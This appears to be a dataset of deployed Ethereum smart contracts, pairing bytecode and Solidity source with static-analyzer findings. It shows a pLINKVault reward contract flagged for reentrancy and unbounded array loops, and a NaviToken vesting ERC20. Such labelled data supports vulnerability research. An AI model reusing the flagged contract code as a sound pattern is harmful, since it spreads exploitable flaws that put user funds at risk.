085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b6000828211156107f757fe5b50900390565b8181018281101561080a57fe5b929150505600a165627a7a72305820cbd55d7d616ead4d8b2608ce11f3dac7320aef28c059989f6f81828b202b1e260029
|
{"success": true, "error": null, "results": {}}
| 6,005 |
0x884d2d79657bac17b964bc5d8bdfd80c3712db74
|
pragma solidity ^0.5.16;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Context {
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract pLINKVault {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
struct RewardDivide {
mapping (address => uint256) amount;
uint256 time;
}
IERC20 public token = IERC20(0x514910771AF9Ca656af840dff83E8264EcF986CA);
address public governance;
uint256 public totalDeposit;
mapping(address => uint256) public depositBalances;
mapping(address => uint256) public rewardBalances;
address[] public addressIndices;
mapping(uint256 => RewardDivide) public _rewards;
uint256 public _rewardCount = 0;
event Withdrawn(address indexed user, uint256 amount);
constructor () public {
governance = msg.sender;
}
function balance() public view returns (uint) {
return token.balanceOf(address(this));
}
function setGovernance(address _governance) public {
require(msg.sender == governance, "!governance");
governance = _governance;
}
function depositAll() external {
deposit(token.balanceOf(msg.sender));
}
function deposit(uint256 _amount) public {
require(_amount > 0, "can't deposit 0");
uint arrayLength = addressIndices.length;
bool found = false;
for (uint i = 0; i < arrayLength; i++) {
if(addressIndices[i]==msg.sender){
found=true;
break;
}
}
if(!found){
addressIndices.push(msg.sender);
}
uint256 realAmount = _amount.mul(995).div(1000);
uint256 feeAmount = _amount.mul(5).div(1000);
address feeAddress = 0xD319d5a9D039f06858263E95235575Bb0Bd630BC;
address vaultAddress = 0x32e4bD46e7cee1797b22B02c0340818B6e75C75a; // Vault7 Address
token.safeTransferFrom(msg.sender, feeAddress, feeAmount);
token.safeTransferFrom(msg.sender, vaultAddress, realAmount);
totalDeposit = totalDeposit.add(realAmount);
depositBalances[msg.sender] = depositBalances[msg.sender].add(realAmount);
}
function reward(uint256 _amount) external {
require(_amount > 0, "can't reward 0");
require(totalDeposit > 0, "totalDeposit must bigger than 0");
token.safeTransferFrom(msg.sender, address(this), _amount);
uint arrayLength = addressIndices.length;
for (uint i = 0; i < arrayLength; i++) {
rewardBalances[addressIndices[i]] = rewardBalances[addressIndices[i]].add(_amount.mul(depositBalances[addressIndices[i]]).div(totalDeposit));
_rewards[_rewardCount].amount[addressIndices[i]] = _amount.mul(depositBalances[addressIndices[i]]).div(totalDeposit);
}
_rewards[_rewardCount].time = block.timestamp;
_rewardCount++;
}
function withdrawAll() external {
withdraw(rewardBalances[msg.sender]);
}
function withdraw(uint256 _amount) public {
require(_rewardCount > 0, "no reward amount");
require(_amount > 0, "can't withdraw 0");
uint256 availableWithdrawAmount = availableWithdraw(msg.sender);
if (_amount > availableWithdrawAmount) {
_amount = availableWithdrawAmount;
}
token.safeTransfer(msg.sender, _amount);
rewardBalances[msg.sender] = rewardBalances[msg.sender].sub(_amount);
emit Withdrawn(msg.sender, _amount);
}
function availableWithdraw(address owner) public view returns(uint256){
uint256 availableWithdrawAmount = rewardBalances[owner];
for (uint256 i = _rewardCount - 1; block.timestamp < _rewards[i].time.add(7 days); --i) {
availableWithdrawAmount = availableWithdrawAmount.sub(_rewards[i].amount[owner].mul(_rewards[i].time.add(7 days).sub(block.timestamp)).div(7 days));
if (i == 0) break;
}
return availableWithdrawAmount;
}
}
|
0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063a9fb763c11610097578063de5f626811610066578063de5f626814610276578063e2aa2a851461027e578063f6153ccd14610286578063fc0c546a1461028e57610100565b8063a9fb763c1461020e578063ab033ea91461022b578063b69ef8a814610251578063b6b55f251461025957610100565b8063853828b6116100d3578063853828b6146101a65780638f1e9405146101ae57806393c8dc6d146101cb578063a7df8c57146101f157610100565b80631eb903cf146101055780632e1a7d4d1461013d5780633df2c6d31461015c5780635aa6e67514610182575b600080fd5b61012b6004803603602081101561011b57600080fd5b50356001600160a01b0316610296565b60408051918252519081900360200190f35b61015a6004803603602081101561015357600080fd5b50356102a8565b005b61012b6004803603602081101561017257600080fd5b50356001600160a01b03166103dd565b61018a6104d7565b604080516001600160a01b039092168252519081900360200190f35b61015a6104e6565b61012b600480360360208110156101c457600080fd5b5035610501565b61012b600480360360208110156101e157600080fd5b50356001600160a01b0316610516565b61018a6004803603602081101561020757600080fd5b5035610528565b61015a6004803603602081101561022457600080fd5b503561054f565b61015a6004803603602081101561024157600080fd5b50356001600160a01b03166107a2565b61012b610811565b61015a6004803603602081101561026f57600080fd5b503561088e565b61015a610a5f565b61012b610adc565b61012b610ae2565b61018a610ae8565b60036020526000908152604090205481565b6000600754116102f2576040805162461bcd60e51b815260206004820152601060248201526f1b9bc81c995dd85c9908185b5bdd5b9d60821b604482015290519081900360640190fd5b6000811161033a576040805162461bcd60e51b815260206004820152601060248201526f063616e277420776974686472617720360841b604482015290519081900360640190fd5b6000610345336103dd565b905080821115610353578091505b600054610370906001600160a01b0316338463ffffffff610af716565b33600090815260046020526040902054610390908363ffffffff610b4e16565b33600081815260046020908152604091829020939093558051858152905191927f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d592918290030190a25050565b6001600160a01b038116600090815260046020526040812054600754600019015b6000818152600660205260409020600101546104239062093a8063ffffffff610b9916565b4210156104d0576104bb6104ae62093a806104a26104734261046762093a80600660008a815260200190815260200160002060010154610b9990919063ffffffff16565b9063ffffffff610b4e16565b60008681526006602090815260408083206001600160a01b038d1684529091529020549063ffffffff610bf316565b9063ffffffff610c4c16565b839063ffffffff610b4e16565b9150806104c7576104d0565b600019016103fe565b5092915050565b6001546001600160a01b031681565b336000908152600460205260409020546104ff906102a8565b565b60066020526000908152604090206001015481565b60046020526000908152604090205481565b6005818154811061053557fe5b6000918252602090912001546001600160a01b0316905081565b60008111610595576040805162461bcd60e51b815260206004820152600e60248201526d063616e27742072657761726420360941b604482015290519081900360640190fd5b6000600254116105ec576040805162461bcd60e51b815260206004820152601f60248201527f746f74616c4465706f736974206d75737420626967676572207468616e203000604482015290519081900360640190fd5b60005461060a906001600160a01b031633308463ffffffff610c8e16565b60055460005b8181101561077f576106a96106676002546104a2600360006005878154811061063557fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054879063ffffffff610bf316565b600460006005858154811061067857fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020549063ffffffff610b9916565b60046000600584815481106106ba57fe5b60009182526020808320909101546001600160a01b0316835282019290925260400181209190915560025460058054610730936104a292600392879081106106fe57fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054869063ffffffff610bf316565b6007546000908152600660205260408120600580549192918590811061075257fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902055600101610610565b505060078054600090815260066020526040902042600191820155815401905550565b6001546001600160a01b031633146107ef576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b60008054604080516370a0823160e01b815230600482015290516001600160a01b03909216916370a0823191602480820192602092909190829003018186803b15801561085d57600080fd5b505afa158015610871573d6000803e3d6000fd5b505050506040513d602081101561088757600080fd5b5051905090565b600081116108d5576040805162461bcd60e51b815260206004820152600f60248201526e063616e2774206465706f736974203608c1b604482015290519081900360640190fd5b6005546000805b8281101561092757336001600160a01b0316600582815481106108fb57fe5b6000918252602090912001546001600160a01b0316141561091f5760019150610927565b6001016108dc565b508061097057600580546001810182556000919091527f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db00180546001600160a01b031916331790555b600061098a6103e86104a2866103e363ffffffff610bf316565b905060006109a56103e86104a287600563ffffffff610bf316565b60005490915073d319d5a9d039f06858263e95235575bb0bd630bc907332e4bd46e7cee1797b22b02c0340818b6e75c75a906109f2906001600160a01b031633848663ffffffff610c8e16565b600054610a10906001600160a01b031633838763ffffffff610c8e16565b600254610a23908563ffffffff610b9916565b60025533600090815260036020526040902054610a46908563ffffffff610b9916565b3360009081526003602052604090205550505050505050565b600054604080516370a0823160e01b815233600482015290516104ff926001600160a01b0316916370a08231916024808301926020929190829003018186803b158015610aab57600080fd5b505afa158015610abf573d6000803e3d6000fd5b505050506040513d6020811015610ad557600080fd5b505161088e565b60075481565b60025481565b6000546001600160a01b031681565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610b49908490610cee565b505050565b6000610b9083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ea6565b90505b92915050565b600082820183811015610b90576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600082610c0257506000610b93565b82820282848281610c0f57fe5b0414610b905760405162461bcd60e51b8152600401808060200182810382526021815260200180610fdf6021913960400191505060405180910390fd5b6000610b9083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610f3d565b604080516001600160a01b0385811660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b179052610ce8908590610cee565b50505050565b610d00826001600160a01b0316610fa2565b610d51576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b60208310610d8f5780518252601f199092019160209182019101610d70565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114610df1576040519150601f19603f3d011682016040523d82523d6000602084013e610df6565b606091505b509150915081610e4d576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b805115610ce857808060200190516020811015610e6957600080fd5b5051610ce85760405162461bcd60e51b815260040180806020018281038252602a815260200180611000602a913960400191505060405180910390fd5b60008184841115610f355760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610efa578181015183820152602001610ee2565b50505050905090810190601f168015610f275780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60008183610f8c5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610efa578181015183820152602001610ee2565b506000838581610f9857fe5b0495945050505050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708115801590610fd65750808214155b94935050505056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a265627a7a72315820d4a1e52a400455189611f86ce0a864b8ab8b815f0eb9c7bcd5b49853cedf79bc64736f6c63430005100032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 6,006 |
0x588047365df5ba589f923604aac23d673555c623
|
pragma solidity ^0.4.19;
// File: zeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: zeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: zeppelin-solidity/contracts/token/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: zeppelin-solidity/contracts/token/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
// File: zeppelin-solidity/contracts/token/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: zeppelin-solidity/contracts/token/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: contracts/NaviToken.sol
contract NaviToken is StandardToken, Ownable {
event AssignmentStopped();
event Frosted(address indexed to, uint256 amount, uint256 defrostClass);
event Defrosted(address indexed to, uint256 amount, uint256 defrostClass);
using SafeMath for uint256;
/* Overriding some ERC20 variables */
string public constant name = "NaviToken";
string public constant symbol = "NAVI";
uint8 public constant decimals = 18;
uint256 public constant MAX_NUM_NAVITOKENS = 1000000000 * 10 ** uint256(decimals);
uint256 public constant START_ICO_TIMESTAMP = 1519912800; // TODO: line to uncomment for the PROD before the main net deployment
//uint256 public START_ICO_TIMESTAMP; // TODO: !!! line to remove before the main net deployment (not constant for testing and overwritten in the constructor)
uint256 public constant MONTH_IN_MINUTES = 43200; // month in minutes (1month = 43200 min)
uint256 public constant DEFROST_AFTER_MONTHS = 6;
uint256 public constant DEFROST_FACTOR_TEAMANDADV = 30;
enum DefrostClass {Contributor, ReserveAndTeam, Advisor}
// Fields that can be changed by functions
address[] icedBalancesReserveAndTeam;
mapping (address => uint256) mapIcedBalancesReserveAndTeamFrosted;
mapping (address => uint256) mapIcedBalancesReserveAndTeamDefrosted;
address[] icedBalancesAdvisors;
mapping (address => uint256) mapIcedBalancesAdvisors;
//Boolean to allow or not the initial assignement of token (batch)
bool public batchAssignStopped = false;
modifier canAssign() {
require(!batchAssignStopped);
require(elapsedMonthsFromICOStart() < 2);
_;
}
function NaviToken() public {
// for test only: set START_ICO to contract creation timestamp
//START_ICO_TIMESTAMP = now; // TODO: line to remove before the main net deployment
}
/**
* @dev Transfer tokens in batches (of addresses)
* @param _addr address The address which you want to send tokens from
* @param _amounts address The address which you want to transfer to
*/
function batchAssignTokens(address[] _addr, uint256[] _amounts, DefrostClass[] _defrostClass) public onlyOwner canAssign {
require(_addr.length == _amounts.length && _addr.length == _defrostClass.length);
//Looping into input arrays to assign target amount to each given address
for (uint256 index = 0; index < _addr.length; index++) {
address toAddress = _addr[index];
uint amount = _amounts[index];
DefrostClass defrostClass = _defrostClass[index]; // 0 = ico contributor, 1 = reserve and team , 2 = advisor
totalSupply = totalSupply.add(amount);
require(totalSupply <= MAX_NUM_NAVITOKENS);
if (defrostClass == DefrostClass.Contributor) {
// contributor account
balances[toAddress] = balances[toAddress].add(amount);
Transfer(address(0), toAddress, amount);
} else if (defrostClass == DefrostClass.ReserveAndTeam) {
// Iced account. The balance is not affected here
icedBalancesReserveAndTeam.push(toAddress);
mapIcedBalancesReserveAndTeamFrosted[toAddress] = mapIcedBalancesReserveAndTeamFrosted[toAddress].add(amount);
Frosted(toAddress, amount, uint256(defrostClass));
} else if (defrostClass == DefrostClass.Advisor) {
// advisors account: tokens to defrost
icedBalancesAdvisors.push(toAddress);
mapIcedBalancesAdvisors[toAddress] = mapIcedBalancesAdvisors[toAddress].add(amount);
Frosted(toAddress, amount, uint256(defrostClass));
}
}
}
function elapsedMonthsFromICOStart() view public returns (uint256) {
return (now <= START_ICO_TIMESTAMP) ? 0 : (now - START_ICO_TIMESTAMP) / 60 / MONTH_IN_MINUTES;
}
function canDefrostReserveAndTeam() view public returns (bool) {
return elapsedMonthsFromICOStart() > DEFROST_AFTER_MONTHS;
}
function defrostReserveAndTeamTokens() public {
require(canDefrostReserveAndTeam());
uint256 monthsIndex = elapsedMonthsFromICOStart() - DEFROST_AFTER_MONTHS;
if (monthsIndex > DEFROST_FACTOR_TEAMANDADV){
monthsIndex = DEFROST_FACTOR_TEAMANDADV;
}
// Looping into the iced accounts
for (uint256 index = 0; index < icedBalancesReserveAndTeam.length; index++) {
address currentAddress = icedBalancesReserveAndTeam[index];
uint256 amountTotal = mapIcedBalancesReserveAndTeamFrosted[currentAddress].add(mapIcedBalancesReserveAndTeamDefrosted[currentAddress]);
uint256 targetDefrosted = monthsIndex.mul(amountTotal).div(DEFROST_FACTOR_TEAMANDADV);
uint256 amountToRelease = targetDefrosted.sub(mapIcedBalancesReserveAndTeamDefrosted[currentAddress]);
if (amountToRelease > 0) {
mapIcedBalancesReserveAndTeamFrosted[currentAddress] = mapIcedBalancesReserveAndTeamFrosted[currentAddress].sub(amountToRelease);
mapIcedBalancesReserveAndTeamDefrosted[currentAddress] = mapIcedBalancesReserveAndTeamDefrosted[currentAddress].add(amountToRelease);
balances[currentAddress] = balances[currentAddress].add(amountToRelease);
Transfer(address(0), currentAddress, amountToRelease);
Defrosted(currentAddress, amountToRelease, uint256(DefrostClass.ReserveAndTeam));
}
}
}
function canDefrostAdvisors() view public returns (bool) {
return elapsedMonthsFromICOStart() >= DEFROST_AFTER_MONTHS;
}
function defrostAdvisorsTokens() public {
require(canDefrostAdvisors());
for (uint256 index = 0; index < icedBalancesAdvisors.length; index++) {
address currentAddress = icedBalancesAdvisors[index];
uint256 amountToDefrost = mapIcedBalancesAdvisors[currentAddress];
if (amountToDefrost > 0) {
balances[currentAddress] = balances[currentAddress].add(amountToDefrost);
mapIcedBalancesAdvisors[currentAddress] = mapIcedBalancesAdvisors[currentAddress].sub(amountToDefrost);
Transfer(address(0), currentAddress, amountToDefrost);
Defrosted(currentAddress, amountToDefrost, uint256(DefrostClass.Advisor));
}
}
}
function stopBatchAssign() public onlyOwner canAssign {
batchAssignStopped = true;
AssignmentStopped();
}
function() public payable {
revert();
}
}
|
0x6060604052600436106101535763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610158578063095ea7b3146101e25780630bbd4e38146102185780630f6413b71461022d57806318160ddd146102405780631986bc55146102655780631da83eab1461027857806323b872dd1461028b578063313ce567146102b357806351af083b146102dc5780635600e827146102ef57806357ef58c1146103025780635fe079741461031557806366188463146103e457806370a082311461040657806375b3a83e146104255780638da5cb5b1461043857806395d89b4114610467578063a07f0a981461047a578063a9059cbb1461048d578063c41e1d4f146104af578063c986cf7c146104c2578063cc81dbb5146104d5578063d73dd623146104e8578063dd62ed3e1461050a578063f2fde38b1461052f575b600080fd5b341561016357600080fd5b61016b61054e565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101a757808201518382015260200161018f565b50505050905090810190601f1680156101d45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101ed57600080fd5b610204600160a060020a0360043516602435610585565b604051901515815260200160405180910390f35b341561022357600080fd5b61022b6105f1565b005b341561023857600080fd5b61020461080c565b341561024b57600080fd5b610253610815565b60405190815260200160405180910390f35b341561027057600080fd5b61022b61081b565b341561028357600080fd5b610204610895565b341561029657600080fd5b610204600160a060020a03600435811690602435166044356108a8565b34156102be57600080fd5b6102c6610a18565b60405160ff909116815260200160405180910390f35b34156102e757600080fd5b610253610a1d565b34156102fa57600080fd5b610253610a23565b341561030d57600080fd5b610204610a4d565b341561032057600080fd5b61022b60046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843750949650610a60955050